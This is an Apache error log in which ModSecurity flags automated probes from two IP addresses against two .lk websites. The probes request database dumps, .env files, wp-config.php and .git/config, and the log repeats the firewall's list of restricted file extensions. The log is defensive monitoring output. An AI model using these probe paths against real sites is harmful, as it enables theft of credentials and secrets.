[Fri Jul 17 08:27:25.237796 2026] [security2:error] [pid 1993574:tid 1993574] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "tfab.lk"] [uri "/data.sql"] [unique_id "almaFd0t9Kb_MdNxrg6-lwAAAAM"]
[Fri Jul 17 08:27:25.273369 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:36938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:26.169200 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.239.116.124:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/database.sql"] [unique_id "almaFoha5y5fYnQ1qRrvlgAAAAE"]
[Fri Jul 17 08:27:26.169832 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/database.sql"] [unique_id "almaFoha5y5fYnQ1qRrvlgAAAAE"]
[Fri Jul 17 08:27:26.170595 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/database.sql"] [unique_id "almaFoha5y5fYnQ1qRrvlgAAAAE"]
[Fri Jul 17 08:27:26.324030 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.239.116.124:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/db.sql"] [unique_id "almaFnRlmrtCoY_COpciZAAAAAg"]
[Fri Jul 17 08:27:26.324562 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/db.sql"] [unique_id "almaFnRlmrtCoY_COpciZAAAAAg"]
[Fri Jul 17 08:27:26.325020 2026] [security2:error] [pid 1993715:tid 1993715] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/db.sql"] [unique_id "almaFnRlmrtCoY_COpciZAAAAAg"]
[Fri Jul 17 08:27:26.427756 2026] [security2:error] [pid 1993671:tid 1993671] [client 44.200.134.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.tfab.lk"] [uri "/db.sql"] [unique_id "almaFg5GPQ6hs4VrfMo9xgAAAAY"]
[Fri Jul 17 08:27:26.428251 2026] [security2:error] [pid 1993671:tid 1993671] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/db.sql"] [unique_id "almaFg5GPQ6hs4VrfMo9xgAAAAY"]
[Fri Jul 17 08:27:26.440193 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.239.116.124:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.dev"] [unique_id "almaFnjA8yK8B7kryx3hfQAAAAk"]
[Fri Jul 17 08:27:26.440560 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.dev"] [unique_id "almaFnjA8yK8B7kryx3hfQAAAAk"]
[Fri Jul 17 08:27:26.441200 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.dev"] [unique_id "almaFnjA8yK8B7kryx3hfQAAAAk"]
[Fri Jul 17 08:27:26.744062 2026] [security2:error] [pid 1993671:tid 1993671] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/tfab/public/index.php"] [unique_id "almaFg5GPQ6hs4VrfMo9xgAAAAY"]
[Fri Jul 17 08:27:26.744132 2026] [security2:error] [pid 1993671:tid 1993671] [client 44.200.134.184:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/tfablk-global": Permission denied [hostname "www.tfab.lk"] [uri "/tfab/public/index.php"] [unique_id "almaFg5GPQ6hs4VrfMo9xgAAAAY"]
[Fri Jul 17 08:27:26.744144 2026] [security2:error] [pid 1993671:tid 1993671] [client 44.200.134.184:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/tfablk-ip": Permission denied [hostname "www.tfab.lk"] [uri "/tfab/public/index.php"] [unique_id "almaFg5GPQ6hs4VrfMo9xgAAAAY"]
[Fri Jul 17 08:27:26.913835 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:37124] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:27:27.019937 2026] [security2:error] [pid 2008451:tid 2008451] [client 44.200.134.184:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.tfab.lk"] [uri "/data.sql"] [unique_id "almaFwPhWp7RzB65h36enAAAAA0"]
[Fri Jul 17 08:27:27.019941 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.239.116.124:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/wp-config.php"] [unique_id "almaF3jA8yK8B7kryx3hfgAAAAk"]
[Fri Jul 17 08:27:27.020318 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/wp-config.php"] [unique_id "almaF3jA8yK8B7kryx3hfgAAAAk"]
[Fri Jul 17 08:27:27.020501 2026] [security2:error] [pid 2008451:tid 2008451] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/data.sql"] [unique_id "almaFwPhWp7RzB65h36enAAAAA0"]
[Fri Jul 17 08:27:27.027875 2026] [security2:error] [pid 2013828:tid 2013828] [client 44.200.134.184:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.tfab.lk"] [uri "/wp-config.php"] [unique_id "almaF-N_HRgVfO4akvmJiwAAABg"]
[Fri Jul 17 08:27:27.028262 2026] [security2:error] [pid 2013828:tid 2013828] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.tfab.lk"] [uri "/wp-config.php"] [unique_id "almaF-N_HRgVfO4akvmJiwAAABg"]
[Fri Jul 17 08:27:27.032587 2026] [proxy_fcgi:error] [pid 1993570:tid 1993570] [client 3.239.116.124:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:27:27.033353 2026] [security2:error] [pid 1993570:tid 1993570] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/wp-config.php"] [unique_id "almaF3jA8yK8B7kryx3hfgAAAAk"]
[Fri Jul 17 08:27:27.096026 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.239.116.124:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/backup.sql"] [unique_id "almaF5OFLENLI63GGOEKDwAAAAQ"]
[Fri Jul 17 08:27:27.096569 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/backup.sql"] [unique_id "almaF5OFLENLI63GGOEKDwAAAAQ"]
[Fri Jul 17 08:27:27.097162 2026] [security2:error] [pid 1993659:tid 1993659] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/backup.sql"] [unique_id "almaF5OFLENLI63GGOEKDwAAAAQ"]
[Fri Jul 17 08:27:27.159272 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.239.116.124:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/data.sql"] [unique_id "almaF1h1WDijTxd1xw5IuwAAAAc"]
[Fri Jul 17 08:27:27.159836 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/data.sql"] [unique_id "almaF1h1WDijTxd1xw5IuwAAAAc"]
[Fri Jul 17 08:27:27.160372 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/data.sql"] [unique_id "almaF1h1WDijTxd1xw5IuwAAAAc"]
[Fri Jul 17 08:27:27.185502 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.200.134.184:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/tfablk-global": Permission denied [hostname "www.tfab.lk"] [uri "/tfab/public/index.php"] [unique_id "almaFo1dLClkUfK_dfHhWAAAAAI"]
[Fri Jul 17 08:27:27.185549 2026] [security2:error] [pid 1993619:tid 1993619] [client 44.200.134.184:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/tfablk-ip": Permission denied [hostname "www.tfab.lk"] [uri "/tfab/public/index.php"] [unique_id "almaFo1dLClkUfK_dfHhWAAAAAI"]
[Fri Jul 17 08:27:27.280299 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.239.116.124:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.git/config"] [unique_id "almaF4ha5y5fYnQ1qRrvmAAAAAE"]
[Fri Jul 17 08:27:27.280529 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.git/config"] [unique_id "almaF4ha5y5fYnQ1qRrvmAAAAAE"]
[Fri Jul 17 08:27:27.280934 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.git/config"] [unique_id "almaF4ha5y5fYnQ1qRrvmAAAAAE"]
[Fri Jul 17 08:27:27.287805 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.239.116.124:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ceylonparampara.lk"] [uri "/.env.production"] [unique_id "almaFzRCJXF37-WnVv0igQAAABI"]
[Fri Jul 17 08:27:27.288033 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/.env.production"] [unique_id "almaFzRCJXF37-WnVv0igQAAABI"]
[Fri Jul 17 08:27:27.288453 2026] [security2:error] [pid 1994976:tid 1994976] [client 3.239.116.124:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/.env.production"] [unique_id "almaFzRCJXF37-WnVv0igQAAABI"]
[Fri Jul 17 08:27:27.425992 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:27.465516 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:27.682032 2026] [security2:error] [pid 2008451:tid 2008451] [client 44.200.134.184:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.tfab.lk"] [uri "/tfab/public/index.php"] [unique_id "almaFwPhWp7RzB65h36enAAAAA0"]
